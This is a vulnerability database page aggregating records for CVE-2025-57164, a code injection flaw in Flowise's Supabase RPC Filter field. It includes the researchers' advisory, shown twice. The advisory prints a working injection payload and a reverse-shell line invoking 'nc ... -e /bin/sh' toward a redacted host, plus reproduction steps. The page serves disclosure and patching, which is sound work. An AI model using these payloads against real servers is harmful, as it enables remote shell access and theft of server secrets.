CVE-2025-57164
FlowiseAI Pre-Auth Arbitrary Code Execution
Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used 6.5
Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.
- Record
CVE-2025-57164- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2025-29248 6.5
Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.
- Record
EUVD-2025-29248- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7944-7c6r-55vv 9.1
FlowiseAI Pre-Auth Arbitrary Code Execution
Summary
An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.
This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.
Details
FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237
<img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" />
This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.
Exploit
We configured our environment to use Supabase entities as follows:
<img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" />
To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:
<img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />
This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.
Subsequently, a reverse shell was successfully established using:
filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)
<img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" />
This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.
Steps to Reproduce
Deploy a FlowiseAI instance with the Supabase vector store enabled.
Login as an admin user.
Drag in a
Supabasenode and configure "Supabase RPC Filter".Insert a malicious payload in the filter expression, such as:
process.mainModule.require("child_process").execSync("id")Trigger the chatbot or workflow to activate the node.
Observe execution of arbitrary code on the backend.
Impact
- Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
- Environment Leakage: Access to sensitive env variables like
JWT_REFRESH_TOKEN_SECRET. - Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
- Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
- LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.
Trust Boundary Violation
The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.
This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.
Evidence
Environment variable leakage via malformed JSON
Reverse shell successfully triggered using attacker-controlled input
Credit
This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)
- Record
GHSA-7944-7c6r-55vv- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD 6.5
Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.
- Record
CVE-2025-57164- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-77
- Updated
- 2026-11-05
OSV 6.5
Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.
- Record
CVE-2025-57164- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-07
OSVGHSA-7944-7c6r-55vv 9.1
FlowiseAI Pre-Auth Arbitrary Code Execution
Summary
An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.
This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.
Details
FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237
<img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" />
This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.
Exploit
We configured our environment to use Supabase entities as follows:
<img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" />
To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:
<img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />
This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.
Subsequently, a reverse shell was successfully established using:
filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)
<img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" />
This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.
Steps to Reproduce
Deploy a FlowiseAI instance with the Supabase vector store enabled.
Login as an admin user.
Drag in a
Supabasenode and configure "Supabase RPC Filter".Insert a malicious payload in the filter expression, such as:
process.mainModule.require("child_process").execSync("id")Trigger the chatbot or workflow to activate the node.
Observe execution of arbitrary code on the backend.
Impact
- Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
- Environment Leakage: Access to sensitive env variables like
JWT_REFRESH_TOKEN_SECRET. - Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
- Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
- LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.
Trust Boundary Violation
The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.
This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.
Evidence
Environment variable leakage via malformed JSON
Reverse shell successfully triggered using attacker-controlled input
Credit
This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)
- Record
GHSA-7944-7c6r-55vv- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | NVD | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-57164 is a medium vulnerability (CVSS 6.5) in Flowiseai Flowise, published September 15, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.64%, the 51st percentile. Fixed in flowise 3.0.6.
References
github.com/FlowiseAI/Flowise
github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts
github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv
github.com/FlowiseAI/Flowise/blob/flowise%403.0.5/packages/components/nodes/vectorstores/Supabase/Supabase.ts
github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6
nvd.nist.gov/vuln/detail/CVE-2025-57164
github.com/advisories/GHSA-7944-7c6r-55vv
github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57164.json